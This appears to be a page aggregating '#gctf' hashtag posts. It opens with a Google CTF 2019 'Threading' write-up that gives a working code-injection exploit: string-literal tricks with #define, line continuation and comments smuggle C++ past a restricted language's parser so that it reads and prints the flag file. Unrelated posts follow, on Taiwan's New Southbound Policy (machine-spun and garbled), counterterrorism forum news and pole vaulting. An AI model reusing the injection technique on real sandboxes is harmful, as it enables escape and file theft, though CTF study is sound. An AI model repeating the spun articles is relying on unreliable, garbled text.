#gctf

[imrobertz1]

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[ohaithe-re]

Google CTF 2019 - “Threading”

Ctftime problem description

Our input code gets parsed through PEGTL, turned into as abstract syntax tree, transformed into some C++ code, and then printed out, and compiled by Clang. The generated C++ code is, by structure, safe: you can only use a limited set of library functions, and no external functions; and those library functions have zero file IO. Secure, right?

The intended solution might have involved some threading erorr. But -- well, that PEGTL parsing looks pretty weak to me. Look in simple_lang/grammar.h and tell me that you think this captures all the subtleties and weirdness of C and the C pre-processor. Tell me that, and you'll be wrong.

Just a few minutes of mucking around with #defines, using a \ to carry over from one line to another, and // to comment code out, and it's clear we can "inject" arbitrary code. The idea is to have something that simple_lang believes is a safe string literal, but that -- when fed into Clang -- looks like other directives. Here was our exploit:

def void t_func(string arg) { print(arg); string message = "Hello, World\\ \"); #define x BLAH }} #include <fstream> std::string readall(std::istream& is) { char temp[1024]; std::string ret; while (!is.eof()) { is.read(temp, 1024); ret.append(temp, is.gcount()); } return ret; } void blah(){{ #define x BLAH"; } def int32 main() { string message = "Hello, World\\ \"); #define x BLAH //const char filename[16] = {0x66, 0x6c, 0x61, 0x67, 0x2e, 0x74, 0x78, 0x74}; const char filename[16] = {0x66, 0x6c, 0x61, 0x67}; std::ifstream is(filename); std::string program; program = readall(is); std::cout << program; #define x BLAH"; thread t = make_thread(t_func, message); join(t); return 0; }

This is definitely kind of unreadable -- by design! It's breaking the strings, after all. This gets processed by simple_lang/compiler into

// Intermediate representation, autogenerated. void __attribute__ ((noinline)) sbt_t_func(dynamic_array<achar> sbt_arg) { { (sbt_print(sbt_arg)); dynamic_array<achar> sbt_message = make_string("Hello, World\\ \"); #define x BLAH }} std::string readall(std::istream& is) { char temp[1024]; std::string ret; while (!is.eof()) { is.read(temp, 1024); ret.append(temp, is.gcount()); } return ret; } void blah(){{ #define x BLAH"); } } int32 __attribute__ ((noinline)) sbt_main() { { dynamic_array<achar> sbt_message = make_string("Hello, World\\ \"); #define x BLAH //const char filename[16] = {0x66, 0x6c, 0x61, 0x67, 0x2e, 0x74, 0x78, 0x74}; const char filename[16] = {0x66, 0x6c, 0x61, 0x67}; std::ifstream is(filename); std::string program; program = readall(is); std::cout << program; #define x BLAH"); thread sbt_t = (sbt_make_thread(sbt_t_func, sbt_message)); (sbt_join(sbt_t)); return (0ULL); } } int main() { std::cout << std::unitbuf; std::cerr << std::unitbuf; setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); _exit(sbt_main()); }

Then the C Preprocessor turns this into the following (we've snipped out the #includes, because they add way too much text:)

# 1 "/tmp/tmp.cc" # 1 "<built-in>" # 1 "<command-line>" # 1 "/usr/include/stdc-predef.h" 1 3 4 # 1 "<command-line>" 2 # 1 "/tmp/tmp.cc" void __attribute__ ((noinline)) sbt_t_func(dynamic_array<achar> sbt_arg) { { (sbt_print(sbt_arg)); dynamic_array<achar> sbt_message = make_string("Hello, World\\"); }} std::string readall(std::istream& is) { char temp[1024]; std::string ret; while (!is.eof()) { is.read(temp, 1024); ret.append(temp, is.gcount()); } return ret; } void blah(){{ } } int32 __attribute__ ((noinline)) sbt_main() { { dynamic_array<achar> sbt_message = make_string("Hello, World\\"); const char filename[16] = {0x66, 0x6c, 0x61, 0x67}; std::ifstream is(filename); std::string program; program = readall(is); std::cout << program; thread sbt_t = (sbt_make_thread(sbt_t_func, sbt_message)); (sbt_join(sbt_t)); return (0ULL); } } int main() { std::cout << std::unitbuf; std::cerr << std::unitbuf; setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); _exit(sbt_main()); }

So now the sbt_main is doing whatever we want, here, opening up flag (the string stored in filename), reading it, printing it to stdout. We kept filename in hex because, according to simple_lang, all that code was in a string literal, and so we wanted to avoid having any extra " characters in the code.

Flag get!

[whittlebaggett8]

Assessing Taiwan’s New Southbound Policy

A closer search at the present-day status and upcoming potential customers of a single of Taiwan’s flagship international policy initiatives.

In excess of the past couple of weeks, a selection of functions tied to the commemoration of the 40th anniversary of the Taiwan Relations Act (TRA) on April 10 have spotlighted Taiwan’s relations with the United States as nicely as its role in the wider Indo-Pacific. A single of the important facets of this has been Taiwan’s New Southbound Policy (NSP) underneath President Tsai Ing-wen, which has sought to progress ties with pick regional international locations as part of the island’s wider international policy strategy. Specified the significance of the NSP for Taiwan at house and abroad, it is worthy of examining where the initiative lies these days as well as its prospects are wanting even further in advance.

As I have observed before in these pages, while former governments in Taiwan have also sought to “look South” to diversify the country’s ties in a dynamic Asian location and to decrease dependence on mainland China, Tsai’s New Southbound Coverage (NSP) – which bought underway early on when she took business in May perhaps 2016 and focuses on strengthening ties with Southeast Asia together with South Asia, Australia, and New Zealand – constitutes a noteworthy advancement of initiatives in this vein. The NSP seeks to advance ties concerning Taiwan and these nations in distinct financial and individuals-to-men and women areas, together with agricultural cooperation, drugs and general public wellbeing, and youth exchanges.

Hence considerably, the NSP has started to see some improvements in conditions of translating rhetoric into actuality. Taiwan govt data reveal improves in parts such as tourism, education, trade, and investment decision, some of which have surpassed earlier targets. There has also been development in some specific priority parts in the NSP as effectively, be it specific developments this kind of as the summary of a Taiwan-Philippines bilateral investment agreement, which is to provide as an case in point for the advancement of economic ties with other focus on NSP international locations, or the establishment of the A single Country, One particular Middle system in community well being which has connected six Taiwanese hospitals with 6 Asian nations around the world – Indonesia, India, Thailand, Malaysia, the Philippines, and Vietnam.

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Beyond the metric of advancing ties with the specified regional states in query, the NSP has also generated optimistic knock-on results for Taiwan internationally and domestically. Internationally, the NSP has provided a platform for Taiwan to partner with other nations and align approaches. For instance, it was no coincidence that during her remarks at this year’s iteration of the Indo-Pacific Security Conference on April 15, Tsai stressed to the audience that Taiwan would continue on to discover approaches to backlink its have NSP with the U.S. absolutely free and open up Indo-Pacific system (FOIPs) as just one key manifestation of Taiwan’s contributions to the broader Indo-Pacific area. The United States and Taiwan have previously been performing towards this conclude through founded mechanisms these as the Global Cooperation and Schooling Framework (GCTF), and both equally sides have also indicated attempts to do the job on initiatives which include giving help with respect to the pursuit of infrastructure projects in Southeast Asia amid the concerns apparent in China’s Belt and Road Initiative (BRI).

Domestically, the NSP has also tested handy in serving to Taiwan address lingering challenges in its have modern society. In a lot more candid, private conversations, those people in government common with the development of the initiative note that the NSP’s purpose in escalating call concerning Taiwan and other regional states can also support problem selected perceptions that persist about other countries and also enhance aspects of the country’s multiculturalism. To take just 1 case in point, the entry of a more substantial range and broader selection men and women from Southeast Asian international locations these types of as Indonesia, the Philippines, and Thailand can widen the lens of some in Taiwan who view the location primarily from the point of view of migrant personnel and can also fortify the require to greater accommodate the wants of other racial and spiritual groups there.

However despite the inroads that the NSP has manufactured therefore considerably, it is not without its worries and limitations. Inside to the governing administration, there are challenges such as resourcing and coordinating amongst a comprehensive variety of stakeholders. More broadly, domestically, elements of NSP’s developments overseas have also led to some fears by some at residence about how to regulate some of the consequences for Taiwan at house, significantly when it will come to perceptions amongst some segments of the population about work opportunities or social cohesion. At the regional amount, advancing sure features of NSP can at occasions nonetheless prove tough with some governments who are careful about finding in the crosshairs of cross-Strait relations.

Uncertainties lie even further in advance as very well. In specific, as the clock begins ticking down on Tsai’s latest expression in workplace ahead of upcoming elections in 2020, natural inquiries will surface about the sustainability of the initiative must she not be elected to a next phrase. However the recognition of the significance of increasing Taiwan’s ties with other Indo-Pacific countries could be a shared general nationwide precedence irrespective of social gathering affiliation, the continued achievements of the initiative will also partly rest on the degree of higher-stage dedication by upcoming administrations that can’t necessarily be taken for granted.

Of training course, these challenges should really not detract from the point that the NSP therefore considerably has verified to be an helpful tactic for Taiwan to diversify its foreign relations, to make inroads with regional states in the broader Indo-Pacific, to catalyze changes in its personal society, and to partner with major powers in typical traces of work in the location and the wider world. But at the identical time, they really should boost the actuality that the future prospective clients for the NSP will count partly on how Taiwan addresses these challenges even as it seizes new opportunities in the many years to occur.

The post Assessing Taiwan’s New Southbound Policy appeared first on Defence Online.

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[whittlebaggett8]

Taiwan as an Indo-Pacific Contributor

A sequence of functions tied to the commemoration of the Taiwan Relations Act have spotlighted Taipei’s position in the wider region on its personal phrases and as a U.S. lover.

 This week, a collection of functions are becoming held in Taipei to commemorate the 40th anniversary of the Taiwan Relations Act (TRA), a foundational document which undergirds unofficial and sturdy modern U.S-Taiwan relations. Amid the themes that have been in the spotlight amid these occasions is Taiwan’s ongoing contributions to the Indo-Pacific region, both on its have phrases as very well as with each other with like-minded countries together with the United States which is creating its very own Totally free and Open Indo-Pacific Strategy (FOIPs) beneath U.S. President Donald Trump.

As I have pointed out prior to in these pages, considering that the Trump administration’s unveiling of its Free and Open Indo-Pacific Approach (FOIPs), Taiwan has been between the international locations in the Asia-Pacific that has been attempting to body its possess response to this as properly as to add to Washington’s ongoing method. In addition to advancing its very own initiatives in the Indo-Pacific, together with the pursuit of the New Southbound Policy, Taiwan has also sought to do the job with the United States as Washington carries on to create out the a few general pillars of FOIPs which U.S. officers have characterised as stability, connectivity, and governance. This is getting completed by way of a collection of mechanisms in the U.S.-Taiwan romantic relationship, which includes the World wide Cooperation and Schooling Framework (GCTF) which was signed again in 2015.

This week, Taiwan’s position in the Indo-Pacific has been in the highlight yet again amid a sequence of events tied to the commemoration of the TRA. Of particular take note were opening remarks offered by President Tsai Ing-wen at this year’s iteration of the Indo-Pacific Security Dialogue convention on April 15, wherever she spotlighted some of Taipei’s ongoing attempts to contribute to the Indo-Pacific on its possess conditions as very well as in partnership with the United States and other like-minded nations.

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Setting up on a single element of the U.S.-Taiwan romantic relationship which has been commemorated in many occasions in Taipei this 7 days, Tsai framed Taiwan’s contributions with regard to the Indo-Pacific in conditions of numerous traces of work Taipei is at present enterprise as nicely as some long run initiatives it was mulling as perfectly. On the governance pillar, for instance, she observed the holding of a civil culture dialogue on spiritual flexibility in the Indo-Pacific past thirty day period – producing Taiwan the initially country in the location to do so, in addition to the Women’s Financial Empowerment Summit which also kicked off in Taipei this 7 days. And on connectivity, she referenced ongoing attempts by Taipei to work with U.S. institutions these as the Overseas Non-public Investment Corporation (OPIC) in order to provide assistance with respect to the pursuit of infrastructure assignments in Southeast Asia, an issue that has been even far more in the spotlight with China’s Belt and Road Initiative (BRI).

U.S. and Taiwan officials have indicated that Taiwan’s contribution to FOIP is an ongoing course of action that will be even more developed in coming months. Ongoing collaboration is remaining pursued in places ranging from digital governance to energy to the sharing of very best methods in law enforcement, with get the job done on some factors developing in a quieter fashion. This is becoming helped by the advancement of new mechanisms to buttress facets of this as perfectly, with a scenario in issue currently being the launch of a new Indo-Pacific Democratic Governance consultations previous thirty day period, an yearly dialogue which will supply a way for each sides to converse about governance issues. Both equally the United States and Taiwan are also more and more working with like-minded companions where feasible, and some of the manifestations have presently been noticed together with in Japan’s initial co-internet hosting of a workshop on anti-corruption less than the GCTF framework last thirty day period.

To be absolutely sure, despite Taiwan’s ongoing efforts to add to the Indo-Pacific, it faces no scarcity of continued obstructions in executing so. For 1, it carries on to be difficult for Taipei to contribute in a context wherever its membership in institutions are restricted and when it faces continued coercion from Beijing (the string of occasions held this 7 days, like a launch party at the new American Institute of Taiwan facility and Indo-Pacific Protection Dialogue, have been loaded with excitement close to the foray by Chinese armed forces planes all-around Taiwan on Monday). For one more, Tsai and the ruling DPP governing administration will be continuing to advance these initiatives even as they are significantly consumed by not only other domestic and foreign coverage priorities, but also an future election set to choose position subsequent January. These challenges and extra will keep on to exam Tsai’s pledge at the Indo-Pacific Security Dialogue that Taiwan is prepared, willing, and able to do a lot more in the Indo-Pacific, even as it is crystal clear that Taipei’s present contributions are currently deserving of point out.

The post Taiwan as an Indo-Pacific Contributor appeared first on Defence Online.

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[mystlnewsonline]

United States | Launch Event and First Regional Workshop of the GCTF Initiative To Counter Unmanned Aerial Systems Threats

United States | Launch Event and First Regional Workshop of the GCTF Initiative To Counter Unmanned Aerial Systems Threats

United States – The United States and Germany, under the auspices of the Global Counterterrorism Forum (GCTF), launched the Initiative to Counter Unmanned Aerial Systems (C-UAS) Threats on December 13, 2018 in Berlin.

The launch event was held alongside the Initiative’s first regional workshop on December 14, which focused on countering the UAS threat in Europe. The GCTF C-UAS Initiative aims to…

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[investmart007]

U.S. Department of State News: Initiative To Address Homegrown Terrorism: Meeting in Rabat, Morocco

New Post has been published on https://is.gd/hJLU9c

U.S. Department of State News: Initiative To Address Homegrown Terrorism: Meeting in Rabat, Morocco

WASHINGTON – U.S. Depart of State today released the following statement:

The United States and the Kingdom of Morocco, under the auspices of the Global Counterterrorism Forum (GCTF) – and in partnership with the International Institute for Justice and Rule of Law (IIJ) – held a final coordination meeting to review the good practices document developed as part of the Initiative to Address Homegrown Terrorism in Rabat, Morocco on June 25, 2018.

Homegrown terrorists who have never set foot in Syria or Iraq are carrying out attacks at increased levels while being inspired, directed, or enabled by ISIS, al-Qa’ida, and other terrorist groups. The Homegrown Terrorism Initiative is one of many GCTF efforts to address the terrorist threat.  The yearlong initiative brought together government officials, criminal justice practitioners, academics, and non-governmental representatives from around the world. Participants discussed the trends and issues associated with homegrown terrorism and the available tools and programs to address it.

A launch event was held in Malta on November 15-16, 2017, followed by two IIJ-led practitioner workshops.  The findings from these workshops laid the foundation for a set of non-binding good practices for policymakers and practitioners on preventing, detecting, intervening, and responding to homegrown terrorists. Participants in Morocco reviewed and discussed the draft good practices to identify and address any remaining gaps in the document.  The good practices document will be put forward for endorsement at the 2018 GCTF Ministerial Meeting in September 2018.

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SOURCE: news provided by STATE.GOV

[vaultermagazine]

#Repost @_jonsie_ with @repostapp ・・・ "✊🏼Grip it and Rip it✊🏼 💪🏼Unleash the Beast💪🏼" -Coach Arnold #polevault #gctf